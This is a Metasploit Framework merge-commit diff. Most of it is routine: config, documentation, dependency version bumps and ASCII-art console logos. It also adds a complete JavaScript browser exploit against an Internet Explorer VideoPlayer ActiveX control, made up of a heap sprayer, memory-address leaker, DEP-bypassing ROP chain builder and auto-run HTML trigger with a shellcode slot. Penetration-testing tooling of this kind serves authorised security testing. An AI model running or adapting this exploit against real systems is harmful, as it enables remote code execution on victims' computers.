Merge remote-tracking branch 'upstream/master' into msfvenom_psh_squash

Conflicts:
	lib/msf/util/exe.rb
bug/bundler_fix
Meatballs 2015-04-05 00:24:48 +01:00
commit ebf77cd02d
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
946 changed files with 33930 additions and 10465 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>

View File

@ -11,11 +11,10 @@ matrix:
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
# Fail build if msftidy is not successful
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
@ -26,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:

View File

@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
@ -18,7 +18,7 @@ Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
@ -27,7 +27,7 @@ closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide,
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
@ -80,11 +80,11 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel]
or e-mail us at [metasploit-hackers] mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
@ -92,7 +92,7 @@ already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api/
[RSpec]:http://rspec.info/
[Better Specs]:http://betterspecs.org/
[YARD]:http://yardoc.org/
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

View File

@ -8,13 +8,13 @@ PATH
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.13)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
rb-readline-r7
recog (~> 1.0)
robots
rubyzip (~> 1.1)
@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.17)
metasploit-credential (~> 0.14.3)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.22.7)
metasploit_data_models (~> 0.23.2)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -68,7 +68,7 @@ GEM
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.9)
bcrypt (3.1.10)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
@ -105,41 +105,41 @@ GEM
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.1)
json (1.8.2)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.18)
metasploit-credential (0.14.3)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.22.7)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.28.0)
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.22.7)
metasploit_data_models (0.23.2)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit-model (~> 0.29.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.13)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.2)
msgpack (0.5.9)
msgpack (0.5.11)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.5)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
@ -154,7 +154,7 @@ GEM
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack-test (0.6.3)
rack (>= 1.0)
rails (3.2.21)
actionmailer (= 3.2.21)
@ -172,10 +172,10 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.4.2)
rb-readline (0.5.1)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.7)
recog (1.0.24)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
@ -199,8 +199,8 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
rubyntlm (0.5.0)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)
@ -219,7 +219,7 @@ GEM
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.42)
tzinfo (0.3.43)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)

View File

@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause
Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3

View File

@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from https://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://github.com/rapid7/metasploit-framework
@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,6 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'timeout'
def usage

View File

@ -11,7 +11,7 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'uri'
require 'timeout'
def usage
@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
site.strip!
next if site.length == 0
next if site =~ /^#/
out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out)
fd = File.open(out, "a")
["", "www."].each do |prefix|
begin
Timeout.timeout(10) do
doc = Hpricot(open("http://#{prefix}#{site}/"))
Timeout.timeout(10) do
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
doc.search("//form").each do |form|
# Extract the form
@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
end
end
fd.close
File.unlink(out) if (File.size(out) == 0)
end

View File

@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};

View File

@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};
// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base
return base;
};
// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
return objPtr;
};
// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
return shellcodeAddr;
};
Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
return ropAddr;
};

View File

@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};
// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};

View File

@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};
// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);
// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}
// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};
// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;
while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}
return -1;
};

View File

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

35
data/logos/pony-01.aftxt Normal file
View File

@ -0,0 +1,35 @@
 _________________________________________________ 
< This console just got 20% cooler >
 ------------------------------------------------- 
/
/ 
▀▄▄▄▄▄▄▄▄ / 
▀▀▄▄▄▄▄█▄▄▄▄ / 
▄███▄▄▄▄██▄██ / 
▄██▄█▄▄█▄▄██▄███ / 
▄██▄█████▄██▄▄█▄▄ / 
▄███████▄██▄▀▀▄▄██ / 
██████████▄▄▄ ██▄█ / 
██▄███▄███ ▀▀ ████ / 
▀███▄███▄▀ ███ / 
▀ ████▄▀ █▄█ / 
██▄▀█ ▄▄▄▄▄▄▄▄ / 
▀▄█ ▀ ▄▄█▄██████▄▄ / 
▀█ ███▄█████████ / 
▄███▄▄█████████ / 
███████▄██████▄▀ / 
█████▄▄█████████ 
▄▄███▄▀ █▄███████ ▄▄▄▄▄▄▄▄▄ 
▄▄█████ ▄█▄██▄████▄█▄█▄▄██▄▄██▄█▀ 
▀▄██▄▀▄▄▄███▄▄███▄██▄▄███▄▄███▄▄▄ 
▀▀ ▄███████████████▄▄▄██▄▄███▀▄ 
████▄█████████▄▄▄▄▄█▄▄▄▄▄███ 
███████▄█████▄▄████▄▄██▄██▀▄██ 
▀▀▄▄██████▄██████▄▄▄████▄▄ ▀▀▀ 
▄▄██████████▄▄█▄▄▄▄▄██▄▄▄ 
██▄█████████▄▄▄██████████ 
▀▀ █▄████ ███▄█▄▄▄▄▄▄▄▀▀ 
▄▄████ ████▄██ 
▀▄████ ██▄███ 
▀▄▄▀ ██▀█▀▀ 
█ 

31
data/logos/pony-02.aftxt Normal file
View File

@ -0,0 +1,31 @@
 __________________ 
< Shells are cool. >
 ------------------ 
\ 
\ 
\ 
\ 
\ ▄▄▄▄▄▄▄▄▄ 
███████████ 
▄▄██████████ 
▄▄███████████▄▄ 
▄███████████▄▄▄█▄▄ 
▄▄██▄▄▄▄▄▄▄▄▄███▄▄█▄▄ 
▄▄████▄▄███████████████ 
████████▄▄▄▄█████████▄▀ 
███████▄███▄▄████████ 
▄▄▄███████▄█▄█████████▄▀ ▄▄▄▄▄▄ 
▀▄▄███████▄▄▄███████▄▀ ▄▄██████▄▄█▀ 
▀▄▄▄██████▄█████▄▀ ▄▄███████████▄ 
▀▀▀▀▀▀█▄███▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀▄██████▄▄
███▄▄█▄██████████▄▄ █████▄▄█
▄███▄█████████▄█▄██ ▄▄████ ▀
▀▀▄██████████▄▄▄▄▀ ▀▀ ██▄▀ 
█████▄▄▄▄█▄███▄▄ █▄▀ 
██████ ▀▄▄██████ ▀ 
▄▄▄████ ████████ 
███████ █████████ 
▄█▄▄█████ █████████ 
█▄███████ █▄▄███████ 
█▄▄▄▄▄█ █▄▄▄▄▄█ 


27
data/logos/pony-03.aftxt Normal file
View File

@ -0,0 +1,27 @@
 ______________________________ 
< I love SHELLS! >
 ------------------------------ 
\ 
\ 
\ 
▄▄██▄█▄▄▄▄ 
▄▄█████▄▄▄▄█▄▄ 
▄▄▄██████████▄▄▄▀ 
██▄▄█▄▄▄▄█▄▄█▄█ 
██▄▄▄████▄▄▄████ 
▄▄████▄▄▄██▄█▄▄▀ 
▄▄▄▄▄▄▄▄▄▄ ██▄█▄▄██▄▄▄▄▄██▄▄█
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄██▄█████▄▄▄▀▀ 
▄▄████▄▄▄▄▄▄▄▄▄▄ ██▄▄▄▄███████▄▄▄ 
█████▄▄▄▄▄▀▀▄▄▄▄▄▄██▄▄▄█▄███▄█▀▀▀ 
████▄█▄█ █▄██▄▄█▄▄▄██▄███ 
▀▄▄▄▄█▄▄▄ ██▄█▄██▄▄▄▄▄█▄███ 
▀▄██▄▄██▄█ ██▄█▄██▄█▄▄█████ 
█▄█▄███▄▄█ ████▄▄█▄▄▄██▄█ 
▄██ ███▄██▄███ ▄▄▄█▄▄▄█▀▀██████ 
▀▄▄█▄█▄▄█▄██▀▀▀ ▄▄██▄▄██ ██████ 
▀▄▄▀██▄▄▀▀▀ ▄▄█████▄▀ ▄▄█████ 
▀▀▀ ▄▄███████ ███████ 
▄▄███▄▄██ ▄▄███████ 
██████▀▀▀ ▀▄████▀▀▀ 
▀▀▀▀▀▀ ▀▀▀ 

29
data/logos/pony-04.aftxt Normal file
View File

@ -0,0 +1,29 @@
 ____________________________________ 
< My Little Pwny: Exploits are Magic >
 ------------------------------------ 
\ 
\ 
\ 
▄▄▄▄▄▄▄▄▄▄ 
▄▄█████████▄▄▄▄▄▄▄ 
█▄▄▄████████▄▄▄▄████
█▄▄▄██▄█████▄████████
▄▄▄██████▄▄▄▄▄▄▄▄▄██▄▀ 
████▄████▄▄▄▄▄▄██▄▄█▄▄ 
██████████████████████ 
▀▄███▄███▄██▄▄▄████▀▀ 
▄▄▄▄▄▄▄▄▄ ▀▄██▄▄██▄▄█▄▄▄▄███▄ 
▄▄█████████▄▄ ▀█▄█████▄█▄▄▄█▄███ 
███████▄▀▀▀▄█▄▄ ▄▄█▄▄█▄▄█▄▄▄▄▄▄▀▀ 
████████ ▀▄▄▄▄▄███▄██▄▄▄██ 
████████ ▄▄ ▄▄█████▄▄▄▄██████ 
████████▄▄██ ███████████████▄▀ 
▀▄██████▄▄▄▀ ▀▄████████████▄▀ 
▄▄████▄▄██ ▄███▄█▄▄▄▄██▄██ 
█████████▄▀ █████▄▄▀ ██████ 
███▄███▀▀ ███████ ███▄▄▄▄ 
▀▄▄▄▀ ████████ ███████ 
████████ ████▄▄██▄ 
██████▄▄█ ██████▄▄█ 
█▄▄▄▄█ █▄▄▄▄█ 


24
data/logos/pony-05.aftxt Normal file
View File

@ -0,0 +1,24 @@
 ______________________ 
< FREE SHELLS FOREVER!!! >
 ---------------------- 
\ 
\ ▄██▄▄▄ ▄▄▄ 
\ ███▄▄█▄▄▄▄▄▄▄▄▄ 
▄▄▄███▄▄██▄██████▄▄ 
▄▄▄▄█▄▄██▄▄▄▄▄▄▄▄█▄████ 
████▄▄██▄▄██▄▄▄█▄██▄████ ▄█▄▄▄▄ 
████ █▄██▄▄███▄▄▄█▄▄▄██ ▄▄▄▄▄▄█▄█▄▄▄█▄▄ 
